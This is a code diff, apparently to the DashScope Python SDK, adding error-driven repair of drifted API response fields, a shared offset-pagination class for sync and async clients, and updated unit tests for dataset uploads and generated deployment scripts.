str) -> TypeAdapter: + key = (cls, name) + with _LOCK: + cached = _ADAPTERS.get(key) + if cached is not None: + return cached + adapter = TypeAdapter(cls.model_fields[name].rebuild_annotation()) + _ADAPTERS[key] = adapter + return adapter + + +def _salvage( + cls: type, + data: Mapping[str, Any], + exc: ValidationError, +) -> Dict[str, Any]: + """A copy of ``data`` with only the failing fields repaired. + + Error-driven rather than a sweep of every field: healthy fields and + ``extra="allow"`` extras are carried over untouched, so a large + well-formed payload is not re-validated piece by piece. + """ + out = dict(data) + fields = cls.model_fields + aliases = _alias_map(cls) + for err in exc.errors(): + loc = err.get("loc") or () + if not loc or not isinstance(loc[0], str): + continue + root = loc[0] + name = aliases.get(root) + info = fields.get(name) if name is not None else None + if info is None: + # Not a field this model knows about; dropping it is the + # only repair available, and extra keys are not load-bearing. + logger.debug( + "response drift: %s.%s: unrecoverable location; dropped", + cls.__name__, + root, + ) + out.pop(root, None) + continue + if err.get("type") == "missing": + if len(loc) == 1: + fallback = _field_fallback(info) + # ``root`` is the key pydantic itself looked for, which + # for an aliased field is the alias -- writing the field + # name would not populate it. + out[root] = fallback + _log_drift(cls, name, "missing", None, fallback) + elif root in out: + # The gap is nested: zeroing the whole root would throw + # away the siblings pydantic already accepted, so repair + # at the depth the error actually names. + original = out[root] + repaired = _salvage_value(cls, name, info, original, loc[1:]) + out[root] = repaired + _log_drift(cls, name, "missing", original, repaired, loc[1:]) + continue + if root not in out: + continue + original = out[root] + repaired = _salvage_value(cls, name, info, original, loc[1:]) + out[root] = repaired + _log_drift(cls, name, err.get("type"), original, repaired, loc[1:]) + return out + + +def _salvage_value( + cls: type, + name: str, + info: FieldInfo, + raw: Any, + sub_loc: Tuple[Any, ...], +) -> Any: + """Repair one field's value, keeping its shape where possible. + + ``sub_loc`` is the remainder of a single error path below the root + key -- one error at a time, so two errors on the same list arrive as + two calls, each repairing one index of the value the first returned. + """ + if isinstance(raw, BaseModel): + # A sibling error under the same root already repaired this + # field into a model instance, and pydantic passes instances + # through untouched. Falling through to the fallback below would + # discard that repair -- and with it every healthy subfield. + return raw + annotation = _unwrap_optional(info.rebuild_annotation()) + origin = get_origin(annotation) + + if origin in _SEQUENCE_ORIGINS: + args = get_args(annotation) + index = sub_loc[0] if sub_loc else None + if isinstance(raw, (list, tuple)) and args and isinstance(index, int): + return _salvage_sequence(cls, name, args[0], raw, index) + # The complaint is about the list itself, not one element. + return _field_fallback(info) + + if ( + isinstance(annotation, type) + and issubclass(annotation, BaseModel) + and isinstance(raw, Mapping) + ): + return _salvage_model(annotation, raw) + + return _field_fallback(info) + + +def _salvage_sequence( + cls: type, + name: str, + item_type: Any, + raw: Any, + index: int, +) -> Any: + """Repair one element of a list, keeping every index in place. + + Only the position pydantic named is touched, so a 1000-dimension + embedding costs one repair rather than a thousand validations, and + a caller that indexes by position stays aligned. + """ + out = list(raw) + if 0 <= index < len(out): + out[index] = _salvage_item(cls, name, item_type, out[index]) + return out + + +def _salvage_item(cls: type, name: str, item_type: Any, raw: Any) -> Any: + if isinstance(raw, BaseModel): + # Already repaired by an earlier error on this same list; the + # zero below would replace a good element with an empty one. + return raw + item_type = _unwrap_optional(item_type) + if isinstance(item_type, type) and issubclass(item_type, BaseModel): + if isinstance(raw, Mapping): + return _salvage_model(item_type, raw) + return _zero(item_type) + try: + return TypeAdapter(item_type).validate_python(raw) + except ValidationError as exc: + errors = exc.errors() + logger.debug( + "response drift: %s.%s[]: expected %s, got %s (%s)", + cls.__name__, + name, + _type_name(item_type), + type(raw).__name__, + errors[0].get("type") if errors else "invalid", + ) + return _zero(item_type) + + +def _salvage_model(model_cls: Type[BaseModel], raw: Mapping[str, Any]) -> Any: + """Validate a nested body, degrading it the same way the parent did.""" + try: + return model_cls.model_validate(raw) + except ValidationError as exc: + salvaged = _salvage(model_cls, raw, exc) + try: + return model_cls.model_validate(salvaged) + except ValidationError: + return _construct_degraded(model_cls, salvaged) + + +def _field_fallback(info: FieldInfo) -> Any: + if not info.is_required(): + return info.get_default(call_default_factory=True) + return _zero(info.rebuild_annotation()) + + +def _zero(annotation: Any) -> Any: + """An empty value shaped like ``annotation``. + + A required nested model becomes a real instance built from zeroed + required fields, so ``choice.message.role`` still resolves on a + degraded object instead of raising ``AttributeError``. + """ + annotation = _unwrap_optional(annotation) + if annotation is None or annotation is Any: + return None + if isinstance(annotation, type): + if issubclass(annotation, BaseModel): + return _zero_model(annotation) + for candidate, empty in _ZERO_BY_TYPE: + if issubclass(annotation, candidate): + return empty + if issubclass(annotation, (list, tuple, set, frozenset, dict)): + return annotation() + return _zero_parameterised(get_origin(annotation)) + + +def _zero_parameterised(origin: Any) -> Any: + """Zero for ``List[X]`` / ``Dict[K, V]``, where origin is not a type.""" + if origin in _SEQUENCE_ORIGINS: + return [] + if origin is dict: + return {} + return None + + +def _zero_model(model_cls: Type[BaseModel]) -> Any: + required = { + name: _zero(info.rebuild_annotation()) + for name, info in model_cls.model_fields.items() + if info.is_required() + } + try: + return model_cls.model_validate(required) + except ValidationError: + return model_cls.model_construct(**required) + + +def _construct_degraded( + cls: Type[_ModelT], + salvaged: Mapping[str, Any], +) -> _ModelT: + """Last resort: build without validation, then restore invariants. + + ``model_construct`` ignores aliases, so alias-keyed entries are + renamed to field names first; anything left over is an extra and + rides along, which ``extra="allow"`` keeps readable. A key that + became a field is not *also* an extra -- carrying both makes + ``model_dump()`` emit the value twice (``open_source`` alongside the + wire spelling ``opensource``), which then fails to round-trip into an + ``extra="forbid"`` model. + """ + fields = cls.model_fields + aliases = _alias_map(cls) + kwargs: Dict[str, Any] = {} + extras: Dict[str, Any] = {} + consumed: Set[str] = set() + for key, value in salvaged.items(): + if key in fields: + kwargs[key] = value + consumed.add(key) + for key, value in salvaged.items(): + name = aliases.get(key) + if name is not None and name not in kwargs: + kwargs[name] = value + consumed.add(key) + for key, value in salvaged.items(): + if key not in consumed: + extras[key] = value + instance = cls.model_construct(**kwargs, **extras) + _rerun_after_validators(cls, instance) + return instance + + +def _rerun_after_validators(cls: type, instance: BaseModel) -> None: + """Re-apply ``mode="after"`` validators ``model_construct`` skipped. + + Without this a degraded body carrying a business ``code`` would + report ``is_error=False`` and read as a success. ``before`` and + ``wrap`` validators are not re-run: they transform raw input, and + feeding them an already-built instance is not what they were + written for. + """ + decorators = getattr(cls, "__pydantic_decorators__", None) + validators = getattr(decorators, "model_validators", None) + if not validators: + return + for name, decorator in validators.items(): + mode = getattr(getattr(decorator, "info", None), "mode", None) + if mode != "after": + logger.debug( + "response drift: %s: skipped %s validator %s on " + "degraded instance", + cls.__name__, + mode, + name, + ) + continue + func = getattr(decorator, "func", None) + if func is None: + continue + try: + func(instance) + except Exception as exc: # pylint: disable=broad-except + logger.debug( + "response drift: %s: after-validator %s failed on " + "degraded instance: %s", + cls.__name__, + name, + type(exc).__name__, + ) + + +def _unwrap_optional(annotation: Any) -> Any: + if get_origin(annotation) is Union: + args = [a for a in get_args(annotation) if a is not type(None)] + if len(args) == 1: + return args[0] + return annotation + + +def _type_name(annotation: Any) -> str: + if isinstance(annotation, type): + return annotation.__name__ + return str(annotation).replace("typing.", "") + + +def _log_drift( + cls: type, + name: str, + reason: Optional[str], + raw: Any, + repaired: Any, + sub_locs: Tuple[Any, ...] = (), +) -> None: + """Record one repaired field. + + The raw *value* is never logged -- a response body carries user + prompts and model output, and the redaction filter is key-oriented + so it would not catch them. The value's type says enough to + recognise the drift. + """ + path = ".".join(str(part) for part in (name,) + tuple(sub_locs)) + if sub_locs: + # The leaf was already logged, with its own type, by the nested + # salvage; ``raw`` here is the enclosing container, so reporting + # its type against the leaf's reason would misdescribe the drift. + logger.debug( + "response drift: %s.%s: repaired at %s (%s)", + cls.__name__, + name, + path, + reason or "invalid", + ) + return + logger.debug( + "response drift: %s.%s: %s (got %s); replaced with %s", + cls.__name__, + path, + reason or "invalid", + type(raw).__name__ if raw is not None else "absent", + type(repaired).__name__, + ) diff --git a/dashscope/types/common.py b/dashscope/types/common.py index d79f60ff..f212a3e6 100644 --- a/dashscope/types/common.py +++ b/dashscope/types/common.py @@ -67,6 +67,26 @@ def _flag_business_error(self) -> "ResponseBase": self.is_error = True return self + @property + def diagnosis(self): + """Structured local fix guidance for a non-raising error envelope. + + The ``raise_on_error=False`` counterpart of ``DashScopeError.diagnosis``: + when the SDK filled ``code``/``message`` instead of raising, this + matches the same offline rule table and returns the guidance (or + ``None`` for a success, or when no rule matched). Imported lazily so + successful responses pay nothing and never load the devkit package. + """ + if not self.is_error: + return None + from dashscope.devkit.diagnosis import diagnose + + return diagnose( + status_code=self.status_code, + code=self.code, + message=self.message, + ) + class JobStatus(ResponseBase): """Result of a state transition that reports nothing but the new state. @@ -124,6 +144,10 @@ def with_headers(model: _M, response: Any) -> _M: have no HTTP envelope to copy and keep the empty default; SSE streams expose theirs via ``Stream.headers`` and ``ChatStream.get_final_message()``. + + Resources on the ``APIResponse`` path (``transport.request_api``) get + this applied for free by ``APIResponse.parse``; websocket-sourced + models, which have no ``APIResponse``, still call it directly. """ model.headers = dict(response.headers) if hasattr(model, "request_id") and not model.request_id: diff --git a/dashscope/types/completions.py b/dashscope/types/completions.py index 9e579472..6ead621c 100644 --- a/dashscope/types/completions.py +++ b/dashscope/types/completions.py @@ -4,13 +4,17 @@ from __future__ import annotations -from typing import Any, Dict, List, Optional +from typing import TYPE_CHECKING, Any, Dict, List, Optional from pydantic import BaseModel, ConfigDict +from dashscope.types._parse import parse_model from dashscope.types.common import ResponseBase, Usage from dashscope.types.messages import ToolCall +if TYPE_CHECKING: + import httpx + __all__ = [ "ChatCompletion", "ChatCompletionChunk", @@ -47,6 +51,10 @@ class ChatCompletionMessage(BaseModel): role: str = "assistant" content: Optional[str] = None + # Non-text parts of a list-form content (image / audio / ...). Text + # already reads through ``content``; without this, flattening the + # list would drop generated media such as wan2.7 image URLs. + content_parts: Optional[List[Dict[str, Any]]] = None reasoning_content: Optional[str] = None reasoning_signature: Optional[str] = None tool_calls: Optional[List[ToolCall]] = None @@ -57,6 +65,7 @@ class Delta(BaseModel): role: Optional[str] = None content: Optional[str] = None + content_parts: Optional[List[Dict[str, Any]]] = None reasoning_content: Optional[str] = None reasoning_signature: Optional[str] = None tool_calls: Optional[List[ToolCall]] = None @@ -116,18 +125,61 @@ def _flatten_content(content: Any) -> Any: return content -def _canonical_choices(output: Dict[str, Any]) -> List[Dict[str, Any]]: +def _media_parts(content: Any) -> Optional[List[Dict[str, Any]]]: + """The non-text parts of a list-form content. + + ``content`` stays a string for compatibility, so image / audio parts + need their own field -- dropping them loses generated media URLs. + """ + if not isinstance(content, list): + return None + parts = [ + part + for part in content + if isinstance(part, dict) and not part.get("text") + ] + return parts or None + + +def _normalize_message_content(message: Dict[str, Any]) -> Dict[str, Any]: + """Flatten text and keep media parts on one message / delta.""" + normalized = dict(message) + content = normalized.get("content") + normalized["content"] = _flatten_content(content) + parts = _media_parts(content) + if parts is not None: + normalized["content_parts"] = parts + return normalized + + +def _output(body: Dict[str, Any]) -> Dict[str, Any]: + """``body["output"]`` when it is a mapping, else empty. + + A drifted ``output`` (a string, a number) has no choices or + ``search_info`` to read, and ``.get`` on it would escape as a bare + ``AttributeError`` instead of reaching ``parse_model``. + """ + output = body.get("output") + return output if isinstance(output, dict) else {} + + +def _canonical_choices(output: Dict[str, Any]) -> List[Any]: choices = output.get("choices") if choices: canonical = [] for raw in choices: + if not isinstance(raw, dict): + # ``dict(raw)`` on a string or number would escape as a + # bare ValueError/TypeError. Passing it through keeps the + # element count, so parse_model repairs it in place and + # the healthy choices stay positionally aligned. + canonical.append(raw) + continue raw = dict(raw) for key in ("message", "delta"): msg = raw.get(key) if isinstance(msg, dict): - msg = dict(msg) - msg["content"] = _flatten_content(msg.get("content")) - raw[key] = msg + raw[key] = _normalize_message_content(msg) canonical.append(raw) return canonical text = output.get("text") @@ -142,29 +194,50 @@ def _canonical_choices(output: Dict[str, Any]) -> List[Dict[str, Any]]: return [] -def parse_completion(body: Dict[str, Any]) -> ChatCompletion: - output = body.get("output") or {} - return ChatCompletion( - request_id=body.get("request_id"), - model=body.get("model"), - choices=_canonical_choices(output), - usage=body.get("usage"), - search_info=output.get("search_info"), +def parse_completion( + body: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, +) -> ChatCompletion: + output = _output(body) + return parse_model( + ChatCompletion, + { + "request_id": body.get("request_id"), + "model": body.get("model"), + "choices": _canonical_choices(output), + "usage": body.get("usage"), + "search_info": output.get("search_info"), + }, + strict=strict_validation, + response=response, ) -def parse_chunk(body: Dict[str, Any]) -> ChatCompletionChunk: - output = body.get("output") or {} +def parse_chunk( + body: Dict[str, Any], + *, + strict_validation: bool = False, + response: Optional[httpx.Response] = None, +) -> ChatCompletionChunk: + output = _output(body) choices = [] for raw in _canonical_choices(output): - raw = dict(raw) - if "message" in raw: - raw["delta"] = raw.pop("message") + if isinstance(raw, dict): + raw = dict(raw) + if "message" in raw: + raw["delta"] = raw.pop("message") choices.append(raw) - return ChatCompletionChunk( - request_id=body.get("request_id"), - model=body.get("model"), - choices=choices, - usage=body.get("usage"), - search_info=output.get("search_info"), + return parse_model( + ChatCompletionChunk, + { + "request_id": body.get("request_id"), + "model": body.get("model"), + "choices": choices, + "usage": body.get("usage"), + "search_info": output.get("search_info"), + }, + strict=strict_validation, + response=response, ) diff --git a/dashscope/types/pagination.py b/dashscope/types/pagination.py new file mode 100644 index 00000000..5da7975d --- /dev/null +++ b/dashscope/types/pagination.py @@ -0,0 +1,225 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Offset pagination shared by every list endpoint in the dashscope 2.0 SDK. + +``models.list`` / ``files.list`` / ``jobs.list`` all answer with the same +envelope -- ``page_no`` / ``page_size`` / ``total_count`` plus a list of +items -- but each used to expose it as a bare model, leaving callers to +loop ``page_no`` by hand and compare it against the total. :class:`BasePage` +folds that traversal into the response object so a page can be iterated +and advanced uniformly. + +The concrete list models keep their own item field name (``models`` / +``files`` / ``tasks``) and expose it through the :attr:`BasePage.items` +property, so iteration is uniform without renaming the public fields. + +One class serves both the sync and the async client: the resource injects a +matching fetch callback (a plain callable or a coroutine function) into the +private ``_fetch_next`` slot after parsing, and the sync / async traversal +methods each drive it appropriately. Because it is a ``PrivateAttr``, the +callback never appears in ``model_dump()``. +""" + +from __future__ import annotations + +import inspect +from typing import ( + Any, + AsyncIterator, + Callable, + Generic, + Iterator, + List, + Optional, + TypeVar, +) + +from pydantic import AliasChoices, Field, PrivateAttr + +from dashscope.types.common import ResponseBase + +__all__ = ["BasePage"] + +T = TypeVar("T") + +_ASYNC_TRAVERSAL_HINT = ( + "this page was fetched through AsyncClient, so advancing it is a " + "coroutine; use next_page_async() or iter_pages_async() instead of the " + "synchronous traversal" +) + + +def _reject_async_callback(callback: Callable[[int, int], Any]) -> None: + """Best-effort early refusal of a sync traversal over an async page. + + Fires when the resource bound the coroutine function itself. Resources + that bind a closure around it (``lambda no, size: self.list(...)``) are + not coroutine functions and are caught later, by + :func:`_reject_awaitable_page`. + """ + if inspect.iscoroutinefunction(callback): + raise TypeError(_ASYNC_TRAVERSAL_HINT) + + +def _reject_awaitable_page(result: Any) -> Any: + """Refuse a page that came back un-awaited, and say which method to use. + + One class serves both clients, so nothing static stops a caller from + pairing an async-fetched page with the synchronous traversal. Handing + back the coroutine instead would let it read as a page and fail two + frames later with ``AttributeError``, naming neither the mistake nor the + fix; the coroutine is closed first so it does not also leak a + ``RuntimeWarning`` about never having been awaited. + """ + if not inspect.isawaitable(result): + return result + close = getattr(result, "close", None) + if callable(close): + close() + raise TypeError(_ASYNC_TRAVERSAL_HINT) + + +class BasePage(ResponseBase, Generic[T]): + """One page of an offset-paginated list, with traversal helpers. + + Subclasses declare their item list under a resource-specific field and + override :attr:`items` to return it. ``page_no`` / ``page_size`` / + ``total_count`` are inherited from here. + """ + + # Fetches another page as ``(page_no, page_size) -> page`` (a page or an + # awaitable of one). Injected by the resource after parsing; a PrivateAttr + # so it stays out of ``model_dump()`` and never round-trips as a field. + _fetch_next: Optional[Callable[[int, int], Any]] = PrivateAttr( + default=None, + ) + # The page this page was *requested* as, when the resource bound one. + # Traversal advances from here rather than from the parsed ``page_no`` / + # ``page_size``; see :meth:`bind_pagination`. + _requested_no: Optional[int] = PrivateAttr(default=None) + _requested_size: Optional[int] = PrivateAttr(default=None) + + page_no: int = 1 + page_size: int = 10 + # The wire reports the total as ``total``; ``total_count`` is the + # canonical name here. Accept both so a page parsed straight from a body + # traverses correctly instead of silently reading a zero total. + total_count: int = Field( + 0, + validation_alias=AliasChoices("total_count", "total"), + ) + + @property + def items(self) -> List[T]: + """The items on *this* page; overridden by each concrete list model.""" + return [] + + def bind_pagination( + self, + callback: Optional[Callable[[int, int], Any]], + requested_page_no: Optional[int] = None, + requested_page_size: Optional[int] = None, + ) -> "BasePage[T]": + """Attach the page-fetch callback the traversal methods use. + + Resources call this right after parsing so ``next_page()`` / + ``iter_pages()`` can request the following page. Returns ``self`` + for chaining. ``callback`` is stored in a ``PrivateAttr``, so + binding it never changes ``model_dump()``. + + ``requested_page_no`` / ``requested_page_size`` are the offsets the + resource actually sent, and traversal advances from them rather than + from the parsed :attr:`page_no` / :attr:`page_size`. A gateway that + omits ``page_no`` leaves every page reading the field's default of 1, + so advancing from the echo would request page 2 forever; one that + omits ``page_size`` would silently change the window and skip or + repeat items. The resource is the only party that reliably knows what + it asked for. + """ + self._fetch_next = callback + self._requested_no = requested_page_no + self._requested_size = requested_page_size + return self + + @property + def _cursor_no(self) -> int: + """The page number to advance from: the request's, else the echo.""" + if self._requested_no is not None: + return self._requested_no + return self.page_no + + @property + def _cursor_size(self) -> int: + """The page size to advance with: the request's, else the echo.""" + if self._requested_size is not None: + return self._requested_size + return self.page_size + + def has_next_page(self) -> bool: + """Whether ``total_count`` implies a page after this one. + + Offset arithmetic only: it trusts the server's ``total_count`` and + does not consult ``_fetch_next``, so it stays meaningful on a page + built without a callback (e.g. parsed straight from a body). + """ + return self._cursor_no * self._cursor_size < self.total_count + + def next_page(self) -> Optional["BasePage[T]"]: + """Fetch the following page, or ``None`` at the end of the list. + + Returns ``None`` when there is no next page or when no fetch callback + was injected (a standalone page cannot advance itself). Raises + ``TypeError`` on a page fetched through ``AsyncClient`` -- use + :meth:`next_page_async` there. + """ + if not self.has_next_page() or self._fetch_next is None: + return None + _reject_async_callback(self._fetch_next) + return _reject_awaitable_page( + self._fetch_next(self._cursor_no + 1, self._cursor_size), + ) + + async def next_page_async(self) -> Optional["BasePage[T]"]: + """Async :meth:`next_page`; awaits the callback when it is a coroutine.""" + if not self.has_next_page() or self._fetch_next is None: + return None + result = self._fetch_next(self._cursor_no + 1, self._cursor_size) + if inspect.isawaitable(result): + result = await result + return result + + def __iter__(self) -> Iterator[T]: + """Iterate this page's items only; use :meth:`iter_pages` to cross pages.""" + return iter(self.items) + + def __aiter__(self) -> AsyncIterator[T]: + """Async counterpart of :meth:`__iter__`: this page's items only.""" + + async def _gen() -> AsyncIterator[T]: + for item in self.items: + yield item + + return _gen() + + def iter_pages(self) -> Iterator["BasePage[T]"]: + """Yield this page and every following one, advancing via :meth:`next_page`. + + Raises ``TypeError`` on a page fetched through ``AsyncClient``; use + :meth:`iter_pages_async` there. When the resource bound the coroutine + function directly the refusal happens before anything is yielded; + when it bound a closure around one, the first page is yielded and the + advance that follows raises. + """ + if self._fetch_next is not None: + _reject_async_callback(self._fetch_next) + page: Optional["BasePage[T]"] = self + while page is not None: + yield page + page = page.next_page() + + async def iter_pages_async(self) -> AsyncIterator["BasePage[T]"]: + """Async :meth:`iter_pages`, advancing via :meth:`next_page_async`.""" + page: Optional["BasePage[T]"] = self + while page is not None: + yield page + page = await page.next_page_async() diff --git a/dashscope/version.py b/dashscope/version.py index fd051aad..88cef6b2 100644 --- a/dashscope/version.py +++ b/dashscope/version.py @@ -1,4 +1,4 @@ # -*- coding: utf-8 -*- # Copyright (c) Alibaba, Inc. and its affiliates. -__version__ = "2.0.4" +__version__ = "2.1.0" diff --git a/tests/cli/test_images_cmd.py b/tests/cli/test_images_cmd.py index 982aa607..b3b8a74d 100644 --- a/tests/cli/test_images_cmd.py +++ b/tests/cli/test_images_cmd.py @@ -319,7 +319,7 @@ def test_jobs_list_json_output_is_the_envelope(self, invoke, images): images(jobs={"list": JobList(tasks=[_job()], total=1)}) result = invoke(["images", "jobs", "list"], global_args=["-o", "json"]) doc = json.loads(result.stdout) - assert doc["total"] == 1 + assert doc["total_count"] == 1 assert len(doc["tasks"]) == 1 def test_jobs_cancel_with_yes(self, invoke, images): diff --git a/tests/cli/test_videos_cmd.py b/tests/cli/test_videos_cmd.py index 258d37cf..7e357bb2 100644 --- a/tests/cli/test_videos_cmd.py +++ b/tests/cli/test_videos_cmd.py @@ -365,7 +365,7 @@ def test_jobs_list_json_output_is_the_envelope(self, invoke, videos): videos(jobs={"list": JobList(tasks=[_job()], total=1)}) result = invoke(["videos", "jobs", "list"], global_args=["-o", "json"]) doc = json.loads(result.stdout) - assert doc["total"] == 1 + assert doc["total_count"] == 1 assert len(doc["tasks"]) == 1 def test_jobs_cancel_with_yes(self, invoke, videos): diff --git a/tests/legacy_1x/unit/test_agentic_rl_model.py b/tests/legacy_1x/unit/test_agentic_rl_model.py index 05590792..330a31c4 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_model.py +++ b/tests/legacy_1x/unit/test_agentic_rl_model.py @@ -17,7 +17,7 @@ FunctionComponentModel, FunctionComponentRuntime, RegistrationError, - OSSUploadError, + OutputError, get_filepath_classname, ) @@ -274,21 +274,19 @@ async def test_register_datasets_success(self, agentic_rl_tuning): # pylint: disable=redefined-outer-name @pytest.mark.asyncio async def test_upload_datasets_failure(self, agentic_rl_tuning): - """Test dataset registration failure""" - # Mock file system operations + """A file read failure keeps its specific OutputError classification.""" with patch("os.path.exists", return_value=True), patch( "os.path.isfile", return_value=True, - ), patch("os.path.getsize", return_value=100), patch( - "dashscope.finetune.reinforcement.common.utils.to_bailian_data", - new_callable=AsyncMock, - side_effect=Exception("Upload failed"), - ): - with pytest.raises(OSSUploadError) as exc_info: + ), patch("os.path.getsize", return_value=100): + with pytest.raises(OutputError) as exc_info: await agentic_rl_tuning.tuning.upload_datasets() - assert "Dataset registration failed" in str( - exc_info.value, + assert "File upload error" in str(exc_info.value) + assert exc_info.value.error_code == 4034 + assert isinstance( + exc_info.value.__cause__, + FileNotFoundError, ) # pylint: disable=redefined-outer-name diff --git a/tests/legacy_1x/unit/test_agentic_rl_utils.py b/tests/legacy_1x/unit/test_agentic_rl_utils.py index defdbf31..c8eb7b6e 100644 --- a/tests/legacy_1x/unit/test_agentic_rl_utils.py +++ b/tests/legacy_1x/unit/test_agentic_rl_utils.py @@ -51,10 +51,10 @@ def test_generate_agentic_script(self): ) # Validate core configuration - assert 'SERVICE_TYPE="rollout"' in script - assert 'PROCESSOR_CLASS="module.path.Processor"' in script + assert "SERVICE_TYPE=rollout" in script + assert "PROCESSOR_CLASS=module.path.Processor" in script assert 'SDK_PACKAGE="dashscope"' in script - assert 'REQUIREMENTS_FILE="requirements.txt"' in script + assert "REQUIREMENTS_FILE=requirements.txt" in script # Validate key functional blocks assert "set -euo pipefail" in script # Error handling @@ -75,19 +75,18 @@ def test_generate_script_with_empty_requirements(self): # Validate conditional logic for missing requirements assert 'if [ -f "${REQUIREMENTS_FILE}" ]; then' in script assert 'for pkg in "${local_packages[@]}"; do' in script - assert "local_packages=($SDK_PACKAGE)" in script + assert 'read -r -a local_packages <<< "$SDK_PACKAGE"' in script def test_special_characters_in_classpath(self): - """Test handling of special characters in classpath.""" - script = generate_agentic_script( - fc_pypi_lib="dashscope", - fc_pypi_repo="https://pypi.org/simple", - requirements_path="reqs.txt", - func_type="group_reward", - classpath="special.module:Class$With@Chars", - ) - - assert 'PROCESSOR_CLASS="special.module:Class$With@Chars"' in script + """Unsafe classpath values are rejected before script generation.""" + with pytest.raises(InputError): + generate_agentic_script( + fc_pypi_lib="dashscope", + fc_pypi_repo="https://pypi.org/simple", + requirements_path="reqs.txt", + func_type="group_reward", + classpath="special.module:Class$With@Chars", + ) def test_create_deployment_files(self, tmp_path): """Test creating deployment files with requirements.""" @@ -112,8 +111,8 @@ def test_create_deployment_files(self, tmp_path): start_file = test_dir / "start.sh" assert start_file.exists() content = start_file.read_text(encoding="utf-8") - assert 'PROCESSOR_CLASS="processor.DemoProcessor"' in content - assert 'REQUIREMENTS_FILE="requirements.txt"' in content + assert "PROCESSOR_CLASS=processor.DemoProcessor" in content + assert "REQUIREMENTS_FILE=requirements.txt" in content def test_create_files_without_requirements(self, tmp_path): """Test creating deployment files without requirements.""" @@ -136,8 +135,8 @@ def test_create_files_without_requirements(self, tmp_path): start_file = test_dir / "start.sh" assert start_file.exists() content = start_file.read_text(encoding="utf-8") - assert 'PROCESSOR_CLASS="module.processor.MyProcessor"' in content - assert "local_packages=($SDK_PACKAGE)" in content + assert "PROCESSOR_CLASS=module.processor.MyProcessor" in content + assert 'read -r -a local_packages <<< "$SDK_PACKAGE"' in content def test_invalid_file_path(self, tmp_path): """Test handling of invalid file paths.""" diff --git a/tests/legacy_1x/unit/test_maas_region.py b/tests/legacy_1x/unit/test_maas_region.py index 081ebc65..41c16226 100644 --- a/tests/legacy_1x/unit/test_maas_region.py +++ b/tests/legacy_1x/unit/test_maas_region.py @@ -296,7 +296,7 @@ def test_generation_call_resolves_workspace(self): url = self._capture_request_url( lambda: Generation.call( - model="qwen3.8-32b", + model="qwen3.8-max", prompt="hi", workspace="ws-xyz", api_key="sk-test", @@ -313,7 +313,7 @@ def test_async_task_call_resolves_workspace(self): url = self._capture_request_url( lambda: ImageSynthesis.call( - model="qwen-image-3.0", + model="qwen-image-2.1-pro", prompt="hi", workspace="ws-xyz", api_key="sk-test", @@ -332,7 +332,7 @@ def test_call_without_workspace_raises_clear_error(self): with patch.object(env_mod, "_default_workspace_id", None): with self.assertRaises(InputRequired) as ctx: Generation.call( - model="qwen3.8-32b", + model="qwen3.8-max", prompt="hi", api_key="sk-test", ) diff --git a/tests/test_agentic_rl_datasets_upload.py b/tests/test_agentic_rl_datasets_upload.py new file mode 100644 index 00000000..6cc543e9 --- /dev/null +++ b/tests/test_agentic_rl_datasets_upload.py @@ -0,0 +1,168 @@ +# -*- coding: utf-8 -*- +"""Regression tests for dataset upload hardening. + +Covers: +- Issue 9: ``Datasets.upload_datasets()`` with default (None) parameters + must not produce ``[None]`` / ``FileSpec(path=None)`` ValidationErrors. +- Issue 10: ``to_bailian_data`` and the upload wrappers must preserve the + specific ``AgenticRLError`` classification instead of flattening every + failure into a generic OutputError(4034) / OSSUploadError. +""" +import os +from unittest.mock import AsyncMock, patch + +import pytest + +# Import from the canonical application core: the legacy 1.x facade +# re-exports a distinct (subclass) error family, while the code under +# test raises the v2 classes. +from dashscope.applications.finetune.reinforcement import ( + Datasets, + FileSpec, + InputError, + OutputError, + OSSUploadError, +) +from dashscope.applications.finetune.reinforcement.common.model import ( + _normalize_file_param, +) +from dashscope.applications.finetune.reinforcement.common.utils import ( + to_bailian_data, +) + + +@pytest.fixture(autouse=True) +def api_key_env(): + original = os.environ.get("DASHSCOPE_API_KEY") + os.environ["DASHSCOPE_API_KEY"] = "test-key" + yield + if original is None: + os.environ.pop("DASHSCOPE_API_KEY", None) + else: + os.environ["DASHSCOPE_API_KEY"] = original + + +class TestNormalizeFileParam: + def test_none_becomes_empty_list(self): + assert _normalize_file_param(None) == [] + + def test_string_becomes_single_item_list(self): + assert _normalize_file_param("train.jsonl") == ["train.jsonl"] + + def test_list_is_preserved(self): + assert _normalize_file_param(["a.jsonl", "b.jsonl"]) == [ + "a.jsonl", + "b.jsonl", + ] + + def test_tuple_is_converted(self): + assert _normalize_file_param(("a.jsonl",)) == ["a.jsonl"] + + +class TestDatasetsUploadDefaults: + @pytest.mark.asyncio + async def test_all_default_params_do_not_raise(self): + """upload_datasets() with no arguments returns (None, None) + instead of building FileSpec(path=None).""" + result = await Datasets.upload_datasets() + assert result == (None, None) + + @pytest.mark.asyncio + async def test_single_string_is_wrapped_once(self): + """A plain string must become one FileSpec, not one per char.""" + with patch( + "dashscope.applications.finetune.reinforcement.common.model" + ".to_bailian_data", + new=AsyncMock(return_value=["file-1"]), + ) as mock_upload: + train_ids, val_ids = await Datasets.upload_datasets( + training_files="train.jsonl", + validation_files="val.jsonl", + ) + + assert train_ids == ["file-1"] + assert val_ids == ["file-1"] + for call in mock_upload.await_args_list: + specs = call.args[0] + assert specs == [FileSpec(path=specs[0].path)] + assert specs[0].path in ("train.jsonl", "val.jsonl") + + @pytest.mark.asyncio + async def test_specific_error_is_not_rewrapped(self): + """An InputError from the upload must keep its own code.""" + original = InputError("File too large", error_code=4035) + with patch( + "dashscope.applications.finetune.reinforcement.common.model" + ".to_bailian_data", + new=AsyncMock(side_effect=original), + ): + with pytest.raises(InputError) as exc_info: + await Datasets.upload_datasets(training_files=["big.jsonl"]) + assert exc_info.value is original + + @pytest.mark.asyncio + async def test_unexpected_error_is_wrapped_as_oss_upload_error(self): + with patch( + "dashscope.applications.finetune.reinforcement.common.model" + ".to_bailian_data", + new=AsyncMock(side_effect=ValueError("boom")), + ): + with pytest.raises(OSSUploadError) as exc_info: + await Datasets.upload_datasets(training_files=["t.jsonl"]) + assert exc_info.value.error_code == 2062 + + +class TestToBailianDataErrorClassification: + @pytest.mark.asyncio + async def test_no_valid_files_keeps_input_error_4031(self, tmp_path): + missing = tmp_path / "does-not-exist.jsonl" + with pytest.raises(InputError) as exc_info: + await to_bailian_data([FileSpec(path=str(missing))]) + assert exc_info.value.error_code == 4031 + + 